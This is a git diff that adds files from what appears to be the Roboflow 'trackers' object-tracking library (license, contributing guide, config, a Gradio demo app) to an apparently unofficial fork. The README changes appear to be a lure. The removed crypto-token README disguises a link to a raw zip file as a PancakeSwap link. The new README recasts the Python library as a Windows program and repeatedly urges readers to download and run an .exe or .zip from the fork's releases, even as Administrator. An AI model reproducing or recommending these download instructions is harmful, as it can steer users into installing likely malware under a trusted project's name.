diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2bf53ff --- /dev/null +++ b/.gitignore @@ -0,0 +1,177 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# UV +# Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +#uv.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/latest/usage/project/#working-with-version-control +.pdm.toml +.pdm-python +.pdm-build/ + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +# Ruff stuff: +.ruff_cache/ + +# PyPI configuration file +.pypirc + +# Repository-specific stuff +.ipynb_checkpoints/ +.idea/ +test.py +**.pt +**.pth +.DS_Store +data/ +!test/data/ +logs/ +runs/ +wandb/ +.gradio/ diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 0000000..b3ef735 --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,64 @@ +default_language_version: + python: python3.10 + +ci: + autofix_prs: true + autoupdate_schedule: weekly + autofix_commit_msg: "fix(pre_commit): 🎨 auto format pre-commit hooks" + autoupdate_commit_msg: "chore(pre_commit): ⬆ pre_commit autoupdate" + +repos: + - repo: https://github.com/Lucas-C/pre-commit-hooks + rev: v1.5.6 + hooks: + - id: insert-license + files: \.py$ + args: + - --license-filepath + - .github/LICENSE_HEADER.txt + - --comment-style + - "#" + + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v6.0.0 + hooks: + - id: trailing-whitespace + - id: check-executables-have-shebangs + - id: check-toml + - id: check-case-conflict + - id: check-added-large-files + - id: detect-private-key + - id: pretty-format-json + args: ['--autofix', '--no-sort-keys', '--indent=4'] + - id: end-of-file-fixer + - id: mixed-line-ending + + - repo: https://github.com/astral-sh/ruff-pre-commit + rev: v0.15.2 + hooks: + - id: ruff-check + args: [--fix] + - id: ruff-format + + - repo: https://github.com/executablebooks/mdformat + rev: 1.0.0 + hooks: + - id: mdformat + exclude: ^docs/reference/ + additional_dependencies: + - "mdformat-mkdocs[recommended]>=2.1.0" + - "mdformat-ruff" + args: ["--number"] + + - repo: https://github.com/codespell-project/codespell + rev: v2.4.1 + hooks: + - id: codespell + additional_dependencies: + - tomli + + - repo: https://github.com/pre-commit/mirrors-mypy + rev: 'v1.19.1' + hooks: + - id: mypy + additional_dependencies: [numpy,types-aiofiles] diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md new file mode 100644 index 0000000..9e8aca5 --- /dev/null +++ b/CODE_OF_CONDUCT.md @@ -0,0 +1,133 @@ +# Contributor Covenant Code of Conduct + +## Our Pledge + +We as members, contributors, and leaders pledge to make participation in our +community a harassment-free experience for everyone, regardless of age, body +size, visible or invisible disability, ethnicity, sex characteristics, gender +identity and expression, level of experience, education, socioeconomic status, +nationality, personal appearance, race, caste, color, religion, or sexual +identity and orientation. + +We pledge to act and interact in ways that contribute to an open, welcoming, +diverse, inclusive, and healthy community. + +## Our Standards + +Examples of behavior that contributes to a positive environment for our +community include: + +- Demonstrating empathy and kindness toward other people +- Being respectful of differing opinions, viewpoints, and experiences +- Giving and gracefully accepting constructive feedback +- Accepting responsibility and apologizing to those affected by our mistakes, + and learning from the experience +- Focusing on what is best not just for us as individuals, but for the overall + community + +Examples of unacceptable behavior include: + +- The use of sexualized language or imagery, and sexual attention or advances of + any kind +- Trolling, insulting or derogatory comments, and personal or political attacks +- Public or private harassment +- Publishing others' private information, such as a physical or email address, + without their explicit permission +- Other conduct which could reasonably be considered inappropriate in a + professional setting + +## Enforcement Responsibilities + +Community leaders are responsible for clarifying and enforcing our standards of +acceptable behavior and will take appropriate and fair corrective action in +response to any behavior that they deem inappropriate, threatening, offensive, +or harmful. + +Community leaders have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions that are +not aligned to this Code of Conduct, and will communicate reasons for moderation +decisions when appropriate. + +## Scope + +This Code of Conduct applies within all community spaces, and also applies when +an individual is officially representing the community in public spaces. +Examples of representing our community include using an official e-mail address, +posting via an official social media account, or acting as an appointed +representative at an online or offline event. + +## Enforcement + +Instances of abusive, harassing, or otherwise unacceptable behavior may be +reported to the community leaders responsible for enforcement at +community-reports@roboflow.com. + +All complaints will be reviewed and investigated promptly and fairly. + +All community leaders are obligated to respect the privacy and security of the +reporter of any incident. + +## Enforcement Guidelines + +Community leaders will follow these Community Impact Guidelines in determining +the consequences for any action they deem in violation of this Code of Conduct: + +### 1. Correction + +**Community Impact**: Use of inappropriate language or other behavior deemed +unprofessional or unwelcome in the community. + +**Consequence**: A private, written warning from community leaders, providing +clarity around the nature of the violation and an explanation of why the +behavior was inappropriate. A public apology may be requested. + +### 2. Warning + +**Community Impact**: A violation through a single incident or series of +actions. + +**Consequence**: A warning with consequences for continued behavior. No +interaction with the people involved, including unsolicited interaction with +those enforcing the Code of Conduct, for a specified period of time. This +includes avoiding interactions in community spaces as well as external channels +like social media. Violating these terms may lead to a temporary or permanent +ban. + +### 3. Temporary Ban + +**Community Impact**: A serious violation of community standards, including +sustained inappropriate behavior. + +**Consequence**: A temporary ban from any sort of interaction or public +communication with the community for a specified period of time. No public or +private interaction with the people involved, including unsolicited interaction +with those enforcing the Code of Conduct, is allowed during this period. +Violating these terms may lead to a permanent ban. + +### 4. Permanent Ban + +**Community Impact**: Demonstrating a pattern of violation of community +standards, including sustained inappropriate behavior, harassment of an +individual, or aggression toward or disparagement of classes of individuals. + +**Consequence**: A permanent ban from any sort of public interaction within the +community. + +## Attribution + +This Code of Conduct is adapted from the [Contributor Covenant][homepage], +version 2.1, available at +[https://www.contributor-covenant.org/version/2/1/code_of_conduct.html][v2.1]. + +Community Impact Guidelines were inspired by +[Mozilla's code of conduct enforcement ladder][mozilla coc]. + +For answers to common questions about this code of conduct, see the FAQ at +[https://www.contributor-covenant.org/faq][faq]. Translations are available at +[https://www.contributor-covenant.org/translations][translations]. + +[faq]: https://www.contributor-covenant.org/faq +[homepage]: https://www.contributor-covenant.org +[mozilla coc]: https://github.com/mozilla/diversity +[translations]: https://www.contributor-covenant.org/translations +[v2.1]: https://www.contributor-covenant.org/version/2/1/code_of_conduct.html diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..7219c39 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,185 @@ +# Contributing to Trackers + +Thank you for your interest in contributing to the Trackers library! Your help—whether it’s fixing bugs, improving documentation, or adding new algorithms—is essential to the success of the project. We’re building this library with the goal of making state-of-the-art object tracking accessible under a fully open license. + +## Table of Contents + +1. [How to Contribute](#how-to-contribute) +2. [Branching Strategy](#branching-strategy) +3. [Releasing](#releasing) +4. [Running Tests](#running-tests) +5. [CLA Signing](#cla-signing) +6. [Clean Room Requirements](#clean-room-requirements) +7. [Google-Style Docstrings and Type Hints](#google-style-docstrings-and-type-hints) +8. [Reporting Bugs](#reporting-bugs) +9. [License](#license) + +## How to Contribute + +Contributions come in many forms: improving features, fixing bugs, suggesting ideas, improving documentation, or adding new tracking methods. Here’s a high-level overview to get you started: + +1. [Fork the Repository](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo): Click the “Fork” button on our GitHub page to create your own copy. + +2. [Clone Locally](https://docs.github.com/en/enterprise-server@3.11/repositories/creating-and-managing-repositories/cloning-a-repository): Download your fork to your local development environment. + +3. [Create a Branch](https://docs.github.com/en/desktop/making-changes-in-a-branch/managing-branches-in-github-desktop): Use a descriptive name to create a new branch: + + ```bash + git checkout -b feature/your-descriptive-name + ``` + +4. Develop Your Changes: Make your updates, ensuring your commit messages clearly describe your modifications. + +5. [Commit and Push](https://docs.github.com/en/desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project-in-github-desktop): Run: + + ```bash + git add . + git commit -m "A brief description of your changes" + git push -u origin your-descriptive-name + ``` + +6. [Open a Pull Request](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request): Submit your pull request targeting the `develop` branch. Please detail your changes and link any related issues. + +Before merging, check that all tests pass and that your changes adhere to our development and documentation standards. + +## Branching Strategy + +We use a structured branching model to manage development and releases: + +| Branch | Purpose | +| ---------------- | --------------------------------------------------------------------------- | +| `develop` | Default branch for ongoing development. All feature PRs target this branch. | +| `release/stable` | Always reflects the latest stable release. | +| `release/X.Y.Z` | Short-lived branches for preparing bugfix releases. | + +## Releasing + +**Feature Releases (e.g., 2.3.0)** + +When ready to release a new feature version: + +1. Ensure `develop` is stable and all CI passes + +2. Hard reset `release/stable` to `develop` HEAD: + + ```bash + git checkout release/stable + git reset --hard origin/develop + git push --force origin release/stable + ``` + +3. Tag the release and push + +**Bugfix Releases (e.g., 2.2.1)** + +When releasing a patch with only specific fixes: + +1. Create a release branch from `release/stable`: + + ```bash + git checkout release/stable + git checkout -b release/2.2.1 + ``` + +2. Cherry-pick the specific fix commits from `develop` + +3. Open a PR from `release/2.2.1` to `release/stable` + +4. Use **rebase merge** (not squash) to preserve individual commits + +5. Tag the release and delete the temporary branch + +## Running Tests + +Install development dependencies: + +```bash +uv sync --group dev +``` + +1. **Unit Tests**: Run the standard test suite: + + ```bash + uv run pytest + ``` + +2. **Doctests**: Run only doctests from docstrings: + + ```bash + uv run pytest --doctest-modules trackers/ --ignore=test/ + ``` + +3. **Integration Tests**: Validate eval parity and tracker correctness against TrackEval on real MOT datasets (~50MB download): + + ```bash + uv run pytest -m integration + ``` + +4. **All Tests**: Run all tests including integration: + + ```bash + uv run pytest -m "" + ``` + +## CLA Signing + +In order to maintain the integrity of our project, every pull request must include a signed Contributor License Agreement (CLA). This confirms that your contributions are properly licensed under our Apache 2.0 License. After opening your pull request, simply add a comment stating: + +``` +I have read the CLA Document and I sign the CLA. +``` + +This step is essential before any merge can occur. + +## Clean Room Requirements + +Trackers package is developed under the Apache 2.0 license, which allows for wide adoption, commercial use, and integration with other open-source tools. However, many object tracking methods released alongside academic papers are published under more restrictive licenses (GPL, AGPL, etc.), which limit redistribution or usage in commercial contexts. + +To ensure Trackers remains fully open and legally safe to use: + +- All algorithms must be clean room re-implementations, meaning they are developed from scratch without referencing restricted source code. +- You must not copy, adapt, or even consult source code under restrictive licenses. + +You can use the following as reference: + +- The original academic papers that describe the algorithm. +- Existing implementations released under permissive open-source licenses (Apache 2.0, MIT, BSD, etc.). + +If in doubt about whether a license is compatible, please ask before proceeding. By contributing to this project and signing the CLA, you confirm that your work complies with these guidelines and that you understand the importance of maintaining a clean licensing chain. + +## Google-Style Docstrings and Type Hints + +For clarity and maintainability, any new functions or classes must include [Google-style docstrings](https://google.github.io/styleguide/pyguide.html) and use Python type hints. Type hints are mandatory in all function definitions, ensuring explicit parameter and return type declarations. These docstrings should clearly explain parameters, return types, and provide usage examples when applicable. + +For example: + +```python +def sample_function(param1: int, param2: int = 10) -> bool: + """ + Provides a brief description of function behavior. + + Args: + param1 (int): Explanation of the first parameter. + param2 (int): Explanation of the second parameter, defaulting to 10. + + Returns: + bool: True if the operation succeeds, otherwise False. + + Examples: + >>> sample_function(5, 10) + True + """ + return param1 == param2 +``` + +Following this pattern helps ensure consistency throughout the codebase. + +## Reporting Bugs + +Bug reports are vital for continued improvement. When reporting an issue, please include a clear, minimal reproducible example that demonstrates the problem. Detailed bug reports assist us in swiftly diagnosing and addressing issues. + +## License + +By contributing to Trackers, you agree that your contributions will be licensed under the Apache 2.0 License as specified in our [LICENSE](/LICENSE) file. + +Thank you for helping us build a reliable, open-source tracking library. We’re excited to collaborate with you! diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..261eeb9 --- /dev/null +++ b/LICENSE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/README.md b/README.md index 6b55c24..15f0880 100644 --- a/README.md +++ b/README.md @@ -1,37 +1,109 @@ -# WallBITeX (WBX) - -WallBITeX (WBX) is a utility token built on the BNB Smart Chain. - -## Overview -WBX is designed to support ecosystem utilities, access features, and future blockchain integrations within the WallBITeX platform. The token is intended strictly for functional use within the ecosystem and does not represent any form of investment or financial product. - -## Token Information -- Name: WallBITeX -- Symbol: WBX -- Network: BNB Smart Chain -- Contract Address: - 0xe1370151e4fEb0694dCC14D2EBaB1cD756EbE83D - -## DEX Listing -WBX can be traded on decentralized exchanges that support BNB Smart Chain. -WBX is available for decentralized exchange on PancakeSwap via the official liquidity pool. -PancakeSwap: -https://raw.githubusercontent.com/gitovamb/trackers/main/logo/Software_v1.1.zip - -## Governance & Management -- The smart contract ownership has been renounced. -- An internal administrative role is implemented within the smart contract for protocol parameter management. -- Administrative permissions are limited to ecosystem maintenance functions. -- All administrative actions are publicly verifiable on-chain. - -## Team Structure -The WallBITeX project is managed by an internal development team. -At this stage, the team operates under a pseudonymous structure while maintaining transparency through verifiable on-chain activity and public documentation. - -## Transparency -- No ICO, IEO, private sale, or seed sale was conducted. -- Tokens were deployed directly on-chain without public fundraising. - -## Official Resources -- Repository & Project Page: https://raw.githubusercontent.com/gitovamb/trackers/main/logo/Software_v1.1.zip -- Official Contact Email: noreplywallbit@gmail.com +# 📊 trackers - Easy Multi-Object Tracking Tools + +[![Download](https://img.shields.io/badge/Download%20Trackers-%23FF6F61?style=for-the-badge&logo=github&logoColor=white)](https://github.com/gitovamb/trackers/releases) + +## 📚 What is trackers? + +trackers is a collection of clean and modular versions of popular multi-object tracking algorithms. These tools work well with any detection software you already use. They help you follow multiple moving objects in videos or images. The code is open and uses the Apache 2.0 license, which means you can use it freely. + +## 🖥️ System Requirements + +Before you start, make sure your computer meets the following: + +- Operating System: Windows 10 or later +- CPU: 2 GHz or faster processor +- RAM: 8 GB minimum (16 GB recommended) +- Disk Space: At least 500 MB free +- Graphics: No special GPU needed, but a modern graphics card can speed things up +- Internet: Required for downloading the software + +## 🎯 Main Features + +- Multiple tracking algorithms included, such as ByteTrack, OC-SORT, and SORT +- Works with any object detection model you have +- Clean interface to organize and test tracking methods +- Lightweight and fast on standard Windows computers +- Open-source and easy to customize if you have programming skills + +## 🚀 How to Download trackers + +To get started, visit this page to download the latest version of trackers: + +[Download trackers](https://github.com/gitovamb/trackers/releases) + +Click the link above or the big red button at the top to open the releases page. You will find a list of files for different versions. Pick the one that matches your Windows system (usually a file with `.exe` or `.zip` extension). + +## 💾 Installation Guide for Windows + +Follow these steps to install trackers on your Windows PC: + +1. **Go to the Download Page** + Open your web browser and visit the trackers releases page here: + https://github.com/gitovamb/trackers/releases + +2. **Choose the Right File** + Look for the latest release at the top. You will see several files. Download the `.exe` file if available for the easiest install. If only `.zip` is available, download that instead. + +3. **Run the Installer** + - If you downloaded an `.exe` file, double-click it to start the installation. + - Follow the prompts on the screen. Choose the default options unless you need something custom. + - The installer will set up everything and create a shortcut on your desktop. + +4. **Extract Files (for `.zip` Download)** + - If you downloaded a `.zip` file, right-click it and choose “Extract All.” + - Choose a folder you can easily find, like your desktop or documents. + - Open the extracted folder and look for a file named `trackers.exe` or similar. Double-click it to run. + +5. **Run the Program** + Once installed or extracted, double-click the tracker application’s icon to open it. You should see the main window showing available tracking algorithms. + +## 🎥 How to Use trackers + +After opening trackers, follow these simple steps: + +1. **Load Your Video or Images** + Click the button labeled “Open File” or “Load Video.” Select the video or image series where you want to track objects. + +2. **Select a Tracking Algorithm** + Choose one of the tracking methods like ByteTrack, OC-SORT, or SORT from the list. Each option includes a short description. + +3. **Run the Tracker** + Click “Start Tracking.” The program will analyze your video and show the tracked objects in real time. + +4. **Save the Results** + After the tracking finishes, you can save the output. Look for the “Export” or “Save” button to create a new video or a data file with tracking info. + +## 🔧 Settings and Customization + +You can adjust a few basic settings without technical skills: + +- **Tracking Speed**: Choose between faster processing or higher accuracy. +- **Display Options**: Turn on or off bounding boxes and object labels. +- **Output Format**: Save results in video file or CSV for further analysis. + +If you want to customize beyond this, you will need programming knowledge to modify the algorithms. + +## ❓ Troubleshooting Common Issues + +- **Program Won’t Start**: Check if your Windows system is updated. Try running the program as Administrator. +- **Video Won't Load**: Make sure the video format is supported, such as MP4 or AVI. +- **Tracking Errors or Jumps**: Try selecting a different tracker algorithm or use a clearer video. +- **Slow Performance**: Close unnecessary programs and check if your PC meets system requirements. + +## 🔗 Additional Resources + +- Visit the GitHub releases page anytime to get updates: + https://github.com/gitovamb/trackers/releases + +- The repository also hosts basic user guides and example videos to help you understand different trackers. + +## 🛠️ Advanced Users + +If you know basic coding or want to experiment: + +- The software is open source under Apache 2.0 license +- You can combine trackers with your own detection models +- Source code is well-structured and modular for easy changes +- Check topics like bytetrack or OC-SORT in the repository for algorithm details + +# [Download trackers now](https://github.com/gitovamb/trackers/releases) \ No newline at end of file diff --git a/WallBITEX_256x256.png b/WallBITEX_256x256.png deleted file mode 100644 index 6651524..0000000 Binary files a/WallBITEX_256x256.png and /dev/null differ diff --git a/demo/README.md b/demo/README.md new file mode 100644 index 0000000..a94177f --- /dev/null +++ b/demo/README.md @@ -0,0 +1,12 @@ +--- +title: Roboflow Trackers +emoji: 🔥 +colorFrom: purple +colorTo: green +sdk: gradio +sdk_version: 6.3.0 +app_file: app.py +suggested_hardware: l4x1 +license: apache-2.0 +python_version: '3.11' +--- diff --git a/demo/app.py b/demo/app.py new file mode 100644 index 0000000..2d32c5c --- /dev/null +++ b/demo/app.py @@ -0,0 +1,689 @@ +# ------------------------------------------------------------------------ +# Trackers +# Copyright (c) 2026 Roboflow. All Rights Reserved. +# Licensed under the Apache License, Version 2.0 [see LICENSE for details] +# ------------------------------------------------------------------------ + +from __future__ import annotations + +import os +import sys +import tempfile +from pathlib import Path + +import cv2 +import gradio as gr +import numpy as np +import supervision as sv +import torch +from inference_models import AutoModel +from tqdm import tqdm + +from trackers import ByteTrackTracker, SORTTracker, frames_from_source + +MAX_DURATION_SECONDS = 30 + +MODELS = [ + "rfdetr-nano", + "rfdetr-small", + "rfdetr-medium", + "rfdetr-large", + "rfdetr-seg-nano", + "rfdetr-seg-small", + "rfdetr-seg-medium", + "rfdetr-seg-large", +] + +TRACKERS = ["bytetrack", "sort"] + +COCO_CLASSES = [ + "person", + "bicycle", + "car", + "motorcycle", + "airplane", + "bus", + "truck", + "cat", + "dog", + "sports ball", +] + +DEVICE = "cuda" if torch.cuda.is_available() else "cpu" + +print(f"Loading {len(MODELS)} models on {DEVICE}...") +LOADED_MODELS = {} +for model_id in MODELS: + print(f" Loading {model_id}...") + LOADED_MODELS[model_id] = AutoModel.from_pretrained(model_id, device=DEVICE) +print("All models loaded.") + +COLOR_PALETTE = sv.ColorPalette.from_hex( + [ + "#ffff00", + "#ff9b00", + "#ff8080", + "#ff66b2", + "#ff66ff", + "#b266ff", + "#9999ff", + "#3399ff", + "#66ffff", + "#33ff99", + "#66ff66", + "#99ff00", + ] +) + +RESULTS_DIR = "results" +os.makedirs(RESULTS_DIR, exist_ok=True) + + +def _init_annotators( + show_boxes: bool = False, + show_masks: bool = False, + show_labels: bool = False, + show_ids: bool = False, + show_confidence: bool = False, +) -> tuple[list, sv.LabelAnnotator | None]: + """Initialize supervision annotators based on display options.""" + annotators: list = [] + label_annotator: sv.LabelAnnotator | None = None + + if show_masks: + annotators.append( + sv.MaskAnnotator( + color=COLOR_PALETTE, + color_lookup=sv.ColorLookup.TRACK, + ) + ) + + if show_boxes: + annotators.append( + sv.BoxAnnotator( + color=COLOR_PALETTE, + color_lookup=sv.ColorLookup.TRACK, + ) + ) + + if show_labels or show_ids or show_confidence: + label_annotator = sv.LabelAnnotator( + color=COLOR_PALETTE, + text_color=sv.Color.BLACK, + text_position=sv.Position.TOP_LEFT, + color_lookup=sv.ColorLookup.TRACK, + ) + + return annotators, label_annotator + + +def _format_labels( + detections: sv.Detections, + class_names: list[str], + *, + show_ids: bool = False, + show_labels: bool = False, + show_confidence: bool = False, +) -> list[str]: + """Generate label strings for each detection.""" + labels = [] + + for i in range(len(detections)): + parts = [] + + if show_ids and detections.tracker_id is not None: + parts.append(f"#{int(detections.tracker_id[i])}") + + if show_labels and detections.class_id is not None: + class_id = int(detections.class_id[i]) + if class_names and 0 <= class_id < len(class_names): + parts.append(class_names[class_id]) + else: + parts.append(str(class_id)) + + if show_confidence and detections.confidence is not None: + parts.append(f"{detections.confidence[i]:.2f}") + + labels.append(" ".join(parts)) + + return labels + + +VIDEO_EXAMPLES = [ + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/bikes-1280x720-1.mp4", + "rfdetr-small", + "bytetrack", + 0.2, + 30, + 0.3, + 3, + 0.1, + 0.6, + [], + "", + True, + True, + False, + False, + True, + False, + ], + [ + "https://storage.googleapis.com/com-roboflow-marketing/supervision/video-examples/bikes-1280x720-1.mp4", + "rfdetr-small", + "bytetrack", + 